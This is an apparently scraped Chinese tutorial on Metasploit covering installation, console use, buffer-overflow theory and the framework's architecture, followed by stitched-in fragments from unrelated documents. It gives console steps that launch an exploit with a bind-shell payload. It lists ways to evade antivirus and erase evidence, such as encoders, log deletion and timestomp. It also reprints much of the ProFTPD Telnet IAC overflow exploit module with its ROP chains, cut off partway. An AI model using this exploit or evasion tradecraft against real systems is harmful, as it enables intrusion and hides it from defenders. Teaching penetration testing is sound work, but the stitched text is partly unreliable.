metasploit开发使用详细解析

metasploit开发使用详细解析
metasploit开发使用详细解析

Metasploit

目录

一、metasploit简介 (1)

二、搭建metasploit环境 (1)

三、metasploit的使用 (2)

四、Metasploit攻击方法分类 (3)

五、Metasploit架构 (4)

六、Metasploit二次开发方法 (6)

七、安全软件常用检测方法 (6)

八、Metasploit反检测方法 (7)

九、一般攻击的过程 (7)

十、恶意软件分类 (8)

十一、exploits详细解析之proftp_telnet_iac.rb (8)

一、metasploit简介

Metasploit是一款开源的安全漏洞检测工具,同时Metasploit是免费的工具,因此安全工作人员常用Metasploit工具来检测系统的安全性。Metasploit Framework (MSF) 在2003年以开放源码方式发布,是可以自由获取的开发框架。它是一个强大的开源平台,供开发,测试和使用恶意代码,这个环境为渗透测试、shellcode 编写和漏洞研究提供了一个可靠平台。

这种可以扩展的模型将负载控制(payload)、编码器(encode)、无操作生成器(nops)和漏洞整合在一起,使Metasploit Framework 成为一种研究高危漏洞的途径。它集成了各平台上常见的溢出漏洞和流行的 shellcode ,并且不断更新。

目前的版本收集了数百个实用的溢出攻击程序及一些辅助工具,让人们使用简单的方法完成安全漏洞检测,即使一个不懂安全的人也可以轻松的使用它。当然,它并不只是一个简单的收集工具,提供了所有的类和方法,让开发人员使用这些代码方便快速的进行二次开发。

其核心中一小部分由汇编和C语言实现,其余由ruby实现。不建议修改汇编和C语言部分。

二、搭建metasploit环境

Windows环境下安装。

从官方网站https://www.360docs.net/doc/1f10715171.html,/下载windows版本的安装版,直接安装即可。安装的版本是3.5.1。安装时需要注意以下两点:

1在安装的时候要关闭杀毒软件。否则的话会导致杀毒软件和metasploit冲突,导致安装失败。

2在控制面版——区域和语言选项——选择英文(美国)——高级选项卡中选择英文(美国)。因为在安装的时候,会进行检测,如果属于非英文地区会导致安装失败。

如果安装有杀毒软件,会经常提示在metasploit的安装目录下检测到病毒或木马。

Linux下环境下安装。

官方网站提供了两种Linux下的安装方式,一种是打包好的metasploit安装包,如framework-3.5.1-linux-i686.run,里面包含了安装所需要的各种包,下载后直接在电脑上安装即可。安装的时候需要具有root权限。如果装有杀毒软件,在安装的时候需要关闭杀毒软件。

另一种是源码包方式,下载到本机后自己安装。需要事先安装各种所信赖的包,安装后需要进行一定的配置,较为麻烦。本例使用了源码包安装方式,因为之前安装了postsql,在使用framework-3.5.1-linux-i686.run安装时会报错已经安装好了postsql数据库等。使用windows下的metasploit时,学习到一定阶段后,感觉有些东西搞不明白,就安装了Linux 版本下的metasploit来学习。

三、metasploit的使用

Metasploit目前提供了三种用户使用接口,一个是GUI模式,另一个是console模式,第三种是CLI(命令行)模式。原来还提供一种WEB模式,目前已经不再支持。目前这三种模式各有优缺点,建议在MSF console模式中使用。在console中几乎可以使用MSF所提供的所有功能,还可以在console中执行一些其它的外部命令,如ping。

Windows下GUI启动方式。从开始菜单——Metasploit Framework——Metaspliit GUI即可。,如下图所示:

图1:metasploit GUI启动方式

其GUI模式启动后界面如图2所示:

图2:metasploit GUI启动后界面

Windows下console模式的启动方式与GUI方式类似,启动后界面如图3所示:

图3:metasploit console启动后界面

Metasploit的使用较为简单,了解其基本命令即可。下面以console的使用方式为例说明如何使用:

输入help或?可查看帮助信息。如图4所示

图4:help

下面以exploit中的ms04_045_wins为例进行说明。

1 show exploits 如图5所示:

图5:show exploits

2 info exploit/windows/wins/ms04_045_wins 查看其描述信息。如图6所示:

图6:info

3 use exploit/windows/wins/ms04_045_wins 使用此exploit。如图7所示:

图7:use

4 show options 查看相应的选项,如图8所示

图8:show options

5 set RHOST 192.168.1.200 设置目标

6 set RPORT 777

7 设置端口

7 set PAYLOAD generic/shell_bind_tcp 设置使用的shellcode

8 exploit 执行攻击

对于上面的步骤,有些并不是必须,比如第2步。GUI界面的使用方法与其类似,并且更加简单,但有些功能可能无法使用。

在Linux上使用时,在终端上输入msfconsole即可启动终端模式。输入msfgui即可启动GUI模式。使用方式与windows上类似。

四、Metasploit攻击方法分类

使用的版本共有635种溢出(exploit)模块,314种辅助(auxiliary)模块,215种加载(payload)模块,27种编码(encoder),8种nops。

exploits总的来说共分为两类溢出(exploit)攻击方法,即主动溢出和被动溢出。主动溢出是针对目标主机的漏洞主动的进行攻击以获得控制权限,被动溢出是针对目标主机被动的监听然后获得相应的操作。在所有的exploit中,针对windows平台的最多,比其它所有平台的总和还要多。

缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量溢出的数据覆盖在合法数据上,理想的情况是程序检查数据长度并不允许输入超过缓冲区长度的字符,但是绝大多数程序都会假设数据长度总是与所分配的储存空间相匹配,这就为缓冲区溢出埋下隐患.操作系统所使用的缓冲区又被称为"堆栈". 在各个操作进程之间,指令会被临时储存在"堆栈"当中,"堆栈"也会出现缓冲区溢出。

缓冲区溢出是一种非常普遍、非常危险的漏洞,在各种操作系统、应用程序中广泛存在。利用缓冲区溢出可民导致程序运行失败、系统死机、重新启动等后,也可以利用其获得非授权指令,甚至系统特权,进而进行各种非法的操作。

在当前网络与分布式系统安全中,被广泛利用的50%以上都是缓冲区溢出。缓冲区溢出中,最为危险的是堆栈溢出,因为入侵者可以利用堆栈溢出,在函数返回时改变返回程序的地址,让其跳转到任意地址,带来的危害一种是程序崩溃导致拒绝服务,另外一种就是跳转并且执行一段恶意代码,比如得到shell,然后为所欲为。

通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,造成程序崩溃或使程序转而执行其它指令,以达到攻击的目的。造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。

随便往缓冲区中填东西造成它溢出一般只会出现“分段错误”(Segmentation fault),而不能达到攻击的目的。最常见的手段是通过制造缓冲区溢出使程序运行一个用户shell,再通过shell执行其它命令。如果该程序属于root且有suid权限的话,攻击者就获得了一个有root权限的shell,可以对系统进行任意操作了。

缓冲区溢出攻击之所以成为一种常见安全攻击手段其原因在于缓冲区溢出漏洞太普遍了,并且易于实现。而且,缓冲区溢出成为远程攻击的主要手段其原因在于缓冲区溢出漏洞给予了攻击者他所想要的一切:植入并且执行攻击代码。被植入的攻击代码以一定的权限运行有缓冲区溢出漏洞的程序,从而得到被攻击主机的控制权。

缓冲区溢出攻击的目的在于扰乱具有某些特权运行的程序的功能,这样可以使得攻击者取得程序的控制权,如果该程序具有足够的权限,那么整个主机就被控制了。一般而言,攻击者攻击root程序,然后执行类似“exec(sh)”的执行代码来获得root权限的shell。为了达到这个目的,攻击者必须达到如下的两个目标:

1. 在程序的地址空间里安排适当的代码。

2. 通过适当的初始化寄存器和内存,让程序跳转到入侵者安排的地址空间执行。

每当一个函数调用发生时,调用者会在堆栈中留下一个活动纪录,它包含了函数结束时返回的地址。攻击者通过溢出堆栈中的自动变量,使返回地址指向攻击代码。通过改变程序的返回地址,当函数调用结束时,程序就跳转到攻击者设定的地址,而不是原先的地址。这类的缓冲区溢出被称为堆栈溢出攻击(Stack Smashing Attack),是目前最常用的缓冲区溢出攻击方式。

函数指针可以用来定位任何地址空间。例如:“void (* foo)()”声明了一个返回值为void 的函数指针变量foo。所以攻击者只需在任何空间内的函数指针附近找到一个能够溢出的缓冲区,然后溢出这个缓冲区来改变函数指针。在某一时刻,当程序通过函数指针调用函数时,程序的流程就按攻击者的意图实现了。它的一个攻击范例就是在Linux系统下的superprobe程序。

在C语言中包含了一个简单的检验/恢复系统,称为setjmp/longjmp。意思是在检验点设定“setjmp(buffer)”,用“longjmp(buffer)”来恢复检验点。然而,如果攻击者能够进入缓冲区的空间,那么“longjmp(buffer)”实际上是跳转到攻击者的代码。象函数指针一样,longjmp 缓冲区能够指向任何地方,所以攻击者所要做的就是找到一个可供溢出的缓冲区。

在metasploit中溢出模块(Exploit)共分为13种,分别是:ais、bsdi、dialup、freebsd、hpux、irix、linux、multi、netware、osx、solaris、unix、windows。其中windows下面的最多。

辅助(Auxiliary)模块共分为13种,分别是admin、client、crawler、dos、fuzzers、gather、pdf、scanner、server、sniffer、spoof、sqli、voip。

加载(payload)模块共分为13种,分别是aix、bsd、bsdi、cmd、generic、java、linux、netware、osx、php、solaris、tty、windows。

五、Metasploit架构

Metasploit Framework并不止具有exploit(溢出)收集功能,它使你专注于创建自己的溢出模块或者二次开发。很少的一部分用汇编和C语言实现,其余均由ruby实现。总体架构如图9所示:

图9:metasploit 整体架构

TOOLS 集成了各种实用工具,多数为收集的其它软件

PLUGINS 各种插件,多数为收集的其它软件。直接调用其API,但只能在console 模式下工作。

MODULES 目前的Metasploit Framework 的各个模块

MSF core 表示Metasploit Framework core 提供基本的API,并且定义了MSF的框架。并将各个子系统集成在一起。组织比较散乱,不建议更改。

MSF Base 提供了一些扩展的、易用的API以供调用,允许更改

Rex LIBRARIES Metasploit Framework中所包含的各种库,是类、方法和模块的集合CLI 表示命令行界面

GUI 图形用户界面

Console 控制台用户界面

Web 网页界面,目前已不再支持

Exploits 定义实现了一些溢出模块,不含payload的话是一个Aux

Payload 由一些可动态运行在远程主机上的代码组成

Nops 用以产生缓冲区填充的非操作性指令

Aux 一些辅助模块,用以实现辅助攻击,如端口扫描工具

Encoders 重新进行编码,用以实现反检测功能等

/msf3/plugins主要包括一些数据库插件、会话插件、线程插件、socket插件等;

/ postgresql/lib/plugins主要是postgresql的调试插件和分析插件。还有一些其它的插件,比如ruby插件等。

/tools主要是一些辅助工具,如vncviewer、7za等。

/msf3/tools主要是一些转化工具,如memdump、ruby工具等。

MSF core定义了整个软件的架构方式,提供了一些基本的API,主要由汇编和C语言来实现,一般情况下不允许直接调用。共有136个汇编文件,7个.h文件,681个.C文件。MSF core组织的比较散乱,不建议更改。

汇编部分主要完成的是与相应的操作系统(如windows、linux等)有关的功能,主要是shellcode的实现等。

C语言完成的功能比较多,主要是meterpreter的实现和一些工具性的应用,包括ruby 相关、内存相关(如memdump.c,属于memdump软件包,用于在DOS和Windows 9x 中dump或copy 4GB以内的地址空间)、网络相关(pcaprub.c,属于libpcap软件包的一部分,是ruby中网络的一部分)、反检测相关(timestomp.c,属于timestomp软件,用于修改文件的时间戳)等。其工具性的应用多是直接来自于其它工具软件。

Meterpreter是MSF core中最重要的一部分,其本身是一个具有多种功能的动态payload,并且可以在运行时动态扩展。它提供了交互式shell的基础。整个运行在内存当中,但它并不创建新的进程,并且使用了加密的通信方法,能有效避免检测。

MSF base分布在很多文件夹当中,定义了大量的实用API,例如svn API、scan API、encode API、更新API、操作API、数据库API、exploit API、GUI API、java API、meterpreter API、php API、snmp API、模块API、ruby API、网络API等……主要供modules下的相关程序进行调用,开发人员也可直接调用其API。

六、Metasploit二次开发方法

Metasploit中的类和方法具有很好的可读性,并且采用了元编程的思想,使得进行二次开发更加方便快捷。简单的说一个程序能够产生另一个程序,就是元编程。ruby、python等均可方便的采用元编程思想。metasploit中前四个字母正好是meta,猜测其是Metaprogramming的含义。

Metasploit中所有的模块都从Msf::Module中继承,并且所有的模块有一个共享的API 库。

在Metasploit中修改的exploit、payload等模块时,直接找到相应的文件修改并保存,重新启动console即可看到自己修改后的模块的效果。

在metasploit当中增加exploit、auxiliary等模块时,最快捷的方法是仿照现有的模块方式、使用metasploit中提供的协议(比如使用metasploit中的socket方法,而不使用ruby 中的socket方法,meterpreter对socket进行的封装和扩展功能,使用起来更加方便,增加了代理、ssh等特征)。模块写好后放在相应的目录,重新启动console即可看到自己所增加的模块部分。

下面是一些攻击经常使用的模块的位置。

auxiliary模块位于/msf3/modules/auxiliary/下。

Exploits模块位于/msf3/modules/exploits/下。

Payloads模块位于/msf3/modules/payloads/下。

Nops模块位于/msf3/modules/nops下。

Encoders模块位于/msf3/modules/encoders/下。

另外在core部分也有一些exploit、aux等,其作用是为上述的攻击部分提供基础,被上述模块调用。在windows或是在linux中都使用上述方法进行二次开发。后面会详细的介绍新增一个exploit的方法和过程。

七、安全软件常用检测方法

1 基于事务发生的时间戳,时间

2 发现可疑文件时,寻找其它具有类似MAC地址的文件,位置

3 根据文件扩展名和签名,文件特征

4 对于系统内文件创建MD5校验,内容

5 查找相应的关键字,关键字

6 对文件的内容进行行为分析,行为分析。安全软件预先知道大量的病毒指令序列,可对文件内容进行检测,如果发现匹配的序列就发出警告。

7 检查当前的进程、端口、文件系统等,状态检查

8 在文件写入磁盘时进行检测。

八、Metasploit反检测方法

针对安全软件常用的检测方法,metasploit当中集成了一些反检测的方法。还有一些相应的建议。

1 在metasploit中使用了meterpreter方法提供一些实用的API。但是meterpreter整个运行在内存当中;但它并不创建新的进程;并且使用了加密的通信方法;并且能够有效的消除入侵证据。整个过程大约在1秒内完成。避免了一些安全软件对于进程的检测。

2 内置了27种encode模块,可对metasploit中的exploit进行编码(encode),以避免反病毒软件检测。27 种encode如下:

Name Rank Description

---- ---- -----------

cmd/generic_sh good Generic Shell Variable Substitution Command Encoder

cmd/ifs low Generic ${IFS} Substitution Command Encoder

cmd/printf_php_mq good printf(1) via PHP magic_quotes Utility Command Encoder

generic/none normal The "none" Encoder

mipsbe/longxor normal XOR Encoder

mipsle/longxor normal XOR Encoder

php/base64 great PHP Base64 encoder

ppc/longxor normal PPC LongXOR Encoder

ppc/longxor_tag normal PPC LongXOR Encoder

sparc/longxor_tag normal SPARC DWORD XOR Encoder

x64/xor normal XOR Encoder

x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder

x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder

x86/avoid_utf8_tolower manual Avoid UTF8/tolower

x86/call4_dword_xor normal Call+4 Dword XOR Encoder

x86/context_cpuid manual CPUID-based Context Keyed Payload Encoder

x86/context_stat manual stat(2)-based Context Keyed Payload Encoder

x86/context_time manual time(2)-based Context Keyed Payload Encoder

x86/countdown normal Single-byte XOR Countdown Encoder

x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder

x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder

x86/nonalpha low Non-Alpha Encoder

x86/nonupper low Non-Upper Encoder

x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder

x86/single_static_bit manual Single Static Bit

x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder

x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder

很多反病毒软件是基于签名(signature-based)技术来进行病毒检测的,metasploit可以使用相应的payload将签名更改,从而达到反检测的目的。比如对一个软件采用多种编码方法以应对安全软件的检测,比如“ABC”这三个字母对于某个漏洞而言具有攻击性,编码时对每个字母采用不同的编码方式以逃避安全软件的检测。

3 内置日志删除模块,可以删除相应的事务日志,以避免检测。

4 metasploit framework中集成了timestomp(用于修改文件时间戳)、slacker(用于隐藏文件)、SAM Juicer(meterpreter的一部分,用于从SAM中转储哈希)、伪造MAC地址等工具用于消除入侵证据。

5 避免使用一些明显具有木马或病毒含义的名子或关键字,如“灰鸽子”等肯定会引起安全软件的注意。

6 所开发的模块尽量放在目标机多个存储位置,以避免所有的模块被安全软件一次清除

7 攻击安全软件,使安全软件失效,目前还未开发。

九、一般攻击的过程

1 获得EIP。IP是指令寄存器,存放当前指令的下一条指令的地址,CPU该执行哪条指令就是通过IP来指示的。EIP为32位机的指令寄存器,存放的是相对地址,也就是基于段基址的偏移值。CPU的ESP寄存器存放当前线程的栈顶指针,EBP存放当前线程的栈底指针。2插入shellcode。Shellcode实际上是一段代码或填充数据,用来发送到服务器利用特定的漏洞的代码,一般可以获取权限。另外,shellcode一般是作为数据发送给受攻击服务的。Shellcode是溢出程序或病毒的核心。主要针对没有打补丁的主机有作用。Shellcode一般用

C语言或汇编语言编写,C语言编写较快,汇编语言便于控制shellcode的生成。一个shellcode只能为特定的平台所使用,不能供多个溢出程序、操作系统使用。

Shellcode即可以是本地的也可以是远程的。本地shellcode主要是一名攻击者为了获取本地计算机权限,例如一段缓冲区溢出程序成功执行后可以获得一定的权限。

远程shellcode主要是一名攻击者为了获得本地网络或互联网上另一台主机的控制权限,如果成功后攻击者可以通过网络获得目标主机的控制权限。如果它可以连接攻击者和被攻击者,称为反向连接shellcode。如果它通过绑定一个相应的端口来进行控制,称之为bindshell。第三种shellcode非常特殊,它在目标机上创建一个可以让攻击者重复利用的连接,而这个连接是建立在目标机现有的连接之上,并不创建新的连接。这种shellcode最难创建也最不容易被检测。

3反向连接shell

即将目标主机当做服务,攻击者机器作为客户端。

4 添加用户或其它

十、恶意软件分类

1 特洛伊木马(Trojan horse)潜茂在其它有用的软件中实施恶意操作的指令。通常将编写程序时就已经安装的恶意指令称为特洛伊木马,在程序编写完后加入的恶意代码称为病毒。

2 病毒(virus)在执行之后能将自身植入到其它程序中的指令。病毒安装在其它程序的方式:替换任意指令,比如在X处的指令替换成跳转到内存的其他某个地方Y,然后在Y 处执行病毒代码,然后在病毒代码后加入口令,使病毒代码执行完后跳到X+1处。

3蠕虫(worm)能自我复制并通过网络将自己安装在其他计算机上的程序。

4陷门(trapdoor)故意在程序中加入未开放的入口,经常用于调试程序,也可以作为安全漏洞使用。

5逻辑炸弹(logic bomb)在未来根据特定条件启动的恶意指令,比如在特定的时间启动。

6僵尸(zombie) 在其他计算机上安装的恶意代码,可通过远程控制这种代码的方式实施攻击,由于攻击来自其它主机,这种方式更难追踪。攻击者经常安装大量的

僵尸以制造大量的网络流量。

十一、exploits详细解析之proftp_telnet_iac.rb

Metasploit中的exploit部分设计目标是提供一个开发exploit简单方法,提供了大量的库,并且使用了ruby中的Mix-in(糅和或混合插入)方法实现多重继承,以便于让二次开发人员能够快速的进行二次开发。

所有的exploit都具有类似的结构,每一个exploit开始都有一个initialize;其次定义了check方法,此方法并不是必须的;最后定义了exploit方法。

在initialize方法中,含有本exploit的描述信息(作者、漏洞溢出方法描述)、使用选项(设定主机IP、端口号等)和shellcode部分。

Check方法并不是必须的,主要是检查目标机的情况,比如目标机是否易受攻击,本溢出方法是否适合攻击目标机等。检查完后返回一些已经预定义好的值(后面的注释为自我理解,可能不够准确),如下:

CheckCode::Safe 目标机安全,攻击可能无效

CheckCode::Detected 目标机提供了相应的服务

CheckCode::Appears 目标机已经被感染

CheckCode::Vulnerable 目标机易受攻击

CheckCode::Unsupported 本exploit对目标机不可用

Exploit方法主要是连接到目标主机,执行shellcode等。

以metasploit当中的exploits当中的linux/ftp/proftp_telnet_iac.rb为例说明。代码如下并进行了相应的注释:

##

# $Id: proftp_telnet_iac.rb 11208 2010-12-02 21:10:03Z jduck $

##

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# https://www.360docs.net/doc/1f10715171.html,/framework/

##

##

#加载核心库文件msf3/lib/msf/core.rb

#核心库文件中提供了整个框架中各个部分的交互,

#比如UI、数据库操作、exploits、payloads、encoders、nops、auxiliary、sessions等

#几乎所有的exploit都要包这个核心库

##

require 'msf/core'

##

#在本模块内定义了Metasploit3子类,所有外部模块定义的Metasploit3子类在本模块均不起作用

#其父类为Msf::Exploit::Remote

##

class Metasploit3 < Msf::Exploit::Remote

Rank = GreatRanking

#include Msf::Exploit::Remote::Ftp

##包含Msf::Exploit::Remote::Tcp模块。

#这个模块中提供了使用TCP协议所需要的一切,如RHOST,PROT,socket等

##

include Msf::Exploit::Remote::Tcp

#定义了initialize方法,本部分包括模块信息、攻击目标、shellcode等

def initialize(info = {})

super(update_info(info,

'Name' => 'ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (Linux)',

'Description' => %q{

This module exploits a stack-based buffer overflow in versions of ProFTPD

server between versions 1.3.2rc3 and 1.3.3b. By sending data containing a

large number of Telnet IAC commands, an attacker can corrupt memory and

execute arbitrary code.

The Debian Squeeze version of the exploit uses a little ROP stub to indirectly

transfer the flow of execution to a pool buffer (the cmd_rec "res" in

"pr_cmd_read").

The Ubuntu version uses a full-blow ROP to mmap RWX memory, copy a small stub

to it, and execute the stub. The stub then copies the remainder of the payload

in and executes it.

NOTE: Most Linux distributions either do not ship a vulnerable version of

ProFTPD, or they ship a version compiled with stack smashing protection.

Although SSP significantly reduces the probability of a single attempt

succeeding, it will not prevent exploitation. Since the daemon forks in a

default configuration, the cookie value will remain the same despite

some attemtps failing. By making repeated requests, an attacker can eventually

guess the cookie value and exploit the vulnerability.

The cookie in Ubuntu has 24-bits of entropy. This reduces the effectiveness

and could allow exploitation in semi-reasonable amount of time.

},

'Author' => [ 'jduck' ],

'Version' => '$Revision: 11208 $',

'References' =>

[

['CVE', '2010-4221'],

['OSVDB', '68985'],

['BID', '44562']

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

'PrependChrootBreak' => true

},

'Privileged' => true,

'Payload' =>

{

'Space' => 4096, #定义所需空间大小

# NOTE: \xff are avoided here so we can control the number of them being sent.

'BadChars' => "\x09\x0a\x0b\x0c\x0d\x20\xff",

'DisableNops' => 'True',

},

'Platform' => [ 'linux', ],

'Targets' =>

[

#

# Automatic targeting via fingerprinting

#

[ 'Automatic Targeting', { 'auto' => true } ],

#

# This special one comes first since we dont want its index changing.

#

[ 'Debug',

{

'IACCount' => 8192, # should cause crash writing off end of stack

'Offset' => 0,

'Ret' => 0x41414242,

'Writable' => 0x43434545

}

],

#

# specific targets

# NOTE: this minimal rop works most of the time, but it can fail

# if the proftpd pool memory is in a different order for whatever reason...

[ 'ProFTPD 1.3.3a Server (Debian) - Squeeze Beta1',

{

'IACCount' => 4096+16,

'Offset' => 0x102c-4,

# NOTE: All addresses are from the proftpd binary

'Ret' => 0x805a547, # pop esi / pop ebp / ret

'Writable' => 0x80e81a0, # .data

'RopStack' =>

[

# Writable is here

0xcccccccc, # unused

0x805a544, # mov eax,esi / pop ebx / pop esi / pop ebp / ret

0xcccccccc, # becomes ebx

0xcccccccc, # becomes esi

0xcccccccc, # becomes ebp

# quadruple deref the res pointer :)

0x8068886, # mov eax,[eax] / ret

0x8068886, # mov eax,[eax] / ret

0x8068886, # mov eax,[eax] / ret

0x8068886, # mov eax,[eax] / ret

# skip the pool chunk header

0x805bd8e, # inc eax / adc cl, cl / ret

0x805bd8e, # inc eax / adc cl, cl / ret

0x805bd8e, # inc eax / adc cl, cl / ret

0x805bd8e, # inc eax / adc cl, cl / ret

0x805bd8e, # inc eax / adc cl, cl / ret

0x805bd8e, # inc eax / adc cl, cl / ret

0x805bd8e, # inc eax / adc cl, cl / ret

0x805bd8e, # inc eax / adc cl, cl / ret

0x805bd8e, # inc eax / adc cl, cl / ret

0x805bd8e, # inc eax / adc cl, cl / ret

0x805bd8e, # inc eax / adc cl, cl / ret

0x805bd8e, # inc eax / adc cl, cl / ret

0x805bd8e, # inc eax / adc cl, cl / ret

0x805bd8e, # inc eax / adc cl, cl / ret

0x805bd8e, # inc eax / adc cl, cl / ret

# execute the data :)

0x0805c26c, # jmp eax

],

}

],

# For the version compiled with symbols :)

[ 'ProFTPD 1_3_3a Server (Debian) - Squeeze Beta1 (Debug)', {

'IACCount' => 4096+16,

'Offset' => 0x1028-4,

# NOTE: All addresses are from the proftpd binary

'Writable' => 0x80ec570, # .data

'Ret' => 0x80d78c2, # pop esi / pop ebp / ret

'RopStack' =>

[

# Writable is here

#0x0808162a, # jmp esp (works w/esp fixup)

0xcccccccc, # unused becomes ebp

0x80d78c2, # mov eax,esi / pop esi / pop ebp / ret

0xcccccccc, # unused becomes esi

0xcccccccc, # unused becomes ebp

# quadruple deref the res pointer :)

0x806a915, # mov eax,[eax] / pop ebp / ret

0xcccccccc, # unused becomes ebp

0x806a915, # mov eax,[eax] / pop ebp / ret

0xcccccccc, # unused becomes ebp

0x806a915, # mov eax,[eax] / pop ebp / ret

0xcccccccc, # unused becomes ebp

0x806a915, # mov eax,[eax] / pop ebp / ret

0xcccccccc, # unused becomes ebp

# skip the pool chunk header

0x805d6a9, # inc eax / adc cl, cl / ret

0x805d6a9, # inc eax / adc cl, cl / ret

0x805d6a9, # inc eax / adc cl, cl / ret

0x805d6a9, # inc eax / adc cl, cl / ret

0x805d6a9, # inc eax / adc cl, cl / ret

0x805d6a9, # inc eax / adc cl, cl / ret

0x805d6a9, # inc eax / adc cl, cl / ret

0x805d6a9, # inc eax / adc cl, cl / ret

0x805d6a9, # inc eax / adc cl, cl / ret

0x805d6a9, # inc eax / adc cl, cl / ret

0x805d6a9, # inc eax / adc cl, cl / ret

0x805d6a9, # inc eax / adc cl, cl / ret

0x805d6a9, # inc eax / adc cl, cl / ret

0x805d6a9, # inc eax / adc cl, cl / ret

0x805d6a9, # inc eax / adc cl, cl / ret

# execute the data :)

0x08058de6, # jmp eax

],

}

],

[ 'ProFTPD 1.3.2c Server (Ubuntu 10.04)',

{

'IACCount' => 1018,

'Offset' => 0x420,

'CookieOffset' => -0x20,

'Writable' => 0x80db3a0, # becomes esi (beginning of .data)

'Ret' => 0x805389b, # pop esi / pop ebp / ret

'RopStack' =>

[

0xcccccccc, # becomes ebp

0x8080f04, # pop eax / ret

0x80db330, # becomes eax (GOT of mmap64)

0x806a716, # mov eax, [eax] / ret

0x805dd5c, # jmp eax

0x80607b2, # add esp, 0x24 / pop ebx / pop ebp / ret

# mmap args

0, 0x20000, 0x7, 0x22, 0xffffffff, 0,

0, # unused

0xcccccccc, # unused

0xcccccccc, # unused

0x100000000 - 0x5d5b24c4 + 0x80db3a4, # becomes ebx

0xcccccccc, # becomes ebp

# note, ebx gets fixed above :)

# 0xfe in 'ah' doesn't matter since we have more than enough space.

# now, load an instruction to store to eax

0x808b542, # pop edx / mov ah, 0xfe / inc dword ptr [ebx+0x5d5b24c4] / ret

# becomes edx - mov [eax+ebp*4]; ebx / ret

"\x89\x1c\xa8\xc3".unpack('V').first,

# store it :)

0x805c2d0, # mov [eax], edx / add esp, 0x10 / pop ebx / pop esi / pop ebp / ret

0xcccccccc, # unused

0xcccccccc, # unused

0xcccccccc, # unused

0xcccccccc, # unused

0xcccccccc, # becomes ebx

0xcccccccc, # becomes esi

0xcccccccc, # becomes ebp

# Copy the following stub:

#"\x8d\xb4\x24\x21\xfb\xff\xff" # lea esi, [esp-0x4df]

#"\x8d\x78\x12" # lea edi, [eax+0x12]

#"\x6a\x7f" # push 0x7f

#"\x59" # pop ecx

#"\xf2\xa5" # rep movsd

0x80607b5, # pop ebx / pop ebp / ret

0xfb2124b4, # becomes ebx

1, # becomes ebp

0x805dd5c, # jmp eax

0x80607b5, # pop ebx / pop ebp / ret

0x788dffff, # becomes ebx

2, # becomes ebp

0x805dd5c, # jmp eax

0x80607b5, # pop ebx / pop ebp / ret

0x597f6a12, # becomes ebx

3, # becomes ebp

0x805dd5c, # jmp eax

0x80607b5, # pop ebx / pop ebp / ret

0x9090a5f2, # becomes ebx

4, # becomes ebp

0x805dd5c, # jmp eax

0x80607b5, # pop ebx / pop ebp / ret

0x8d909090, # becomes ebx

0, # becomes ebp

0x805dd5c, # jmp eax

# hopefully we dont get here

0xcccccccc,

],

}

]

],

'DefaultTarget' => 0,

'DisclosureDate' => 'Nov 1 2010'))

register_options(

[

Opt::RPORT(21),

Metasploit渗透测试实例分析

Metasploit渗透测试实例分析 摘要:随着信息技术的飞速发展,信息安全的概念也在逐步深入人心。为了更好的保护用户信息,提高系统的安全性,渗透测试技术应运而生。简而言之,渗透测试就是模拟黑客的技术手段去检测系统的安全性。 本文选择 Metasploit 渗透测试框架为平台,阐述了Metasploit框架的内容,详细讲解了不同界面下 Metasploit 渗透框架的使用方法,详细讲解了Metasploit的所用功能和参数。然后,本文以实际操作为基础,讲解怎样通过查找的漏洞进行对目标主机攻击来获得Meterpreter shell。成功获取Meterpreter shell之后就可以通过Metasploit一些基本的命令来收集更多的信息,以便达到对目标主机的长期控制和不被用户察觉。 关键词:渗透;Metasploit;Meterpreter shell。 Metasploit penetration testing example analysis Abstract:With the rapid development of information technology, information security is gradually becoming more popular. In order to protect user information and to improve system security, penetration testing techniques have emerged. In short, penetration testing is a technology that simulates the means of hackers to check the security of a system. Paper chooses Metasploit penetration testing framework as a platform to explain the contents of the Metasploit Framework, a detailed account of the use of different interfaces under the Metasploit penetration framework Metasploit explained in detail by using the function and parameters. Then, the paper-based practice, explain how to find loopholes through the target host attack to get Meterpreter shell. After successfully obtaining Meterpreter shell can to collect more information through Metasploit some basic commands in order to achieve long-term control of the target host and are not aware of the user. Key words:permeation;Metasploit;Meterpreter shell.

Metasploit详解详细图文教程

Metasploit详解详细图文教程 1. 一、metasploit简介 Metasploit是一款开源的安全漏洞检测工具,同时Metasploit是免费的工具,因此安全工作人员常用Metasploit工具来检测系统的安全性。Metasploit Framework (MSF) 在2003年以开放源码方式发布,是可以自由获取的开发框架。它是一个强大的开源平台,供开发,测试和使用恶意代码,这个环境为渗透测试、shellcode 编写和漏洞研究提供了一个可靠平台。 这种可以扩展的模型将负载控制(payload)、编码器(encode)、无操作生成器(nops)和漏洞整合在一起,使Metasploit Framework 成为一种研究高危漏洞的途径。它集成了各平台上常见的溢出漏洞和流行的shellcode ,并且不断更新。 目前的版本收集了数百个实用的溢出攻击程序及一些辅助工具,让人们使用简单的方法完成安全漏洞检测,即使一个不懂安全的人也可以轻松的使用它。当然,它并不只是一个简单的收集工具,提供了所有的类和方法,让开发人员使用这些代码方便快速的进行二次开发。 其核心中一小部分由汇编和C语言实现,其余由ruby实现。不建议修改汇编和C语言部分。1. 二、搭建metasploit环境 Windows环境下安装。 从官方网站https://www.360docs.net/doc/1f10715171.html,/下载windows版本的安装版,直接安装即可。安装的版本是3.5.1。安装时需要注意以下两点: 1. 在安装的时候要关闭杀毒软件。否则的话会导致杀毒软件和metasploit 冲突,导致安装失败。 2. 在控制面版——区域和语言选项——选择英文(美国)——高级选项卡中 选择英文(美国)。因为在安装的时候,会进行检测,如果属于非英文 地区会导致安装失败。 如果安装有杀毒软件,会经常提示在metasploit的安装目录下检测到病毒或木马。

metasploit开发使用详细解析

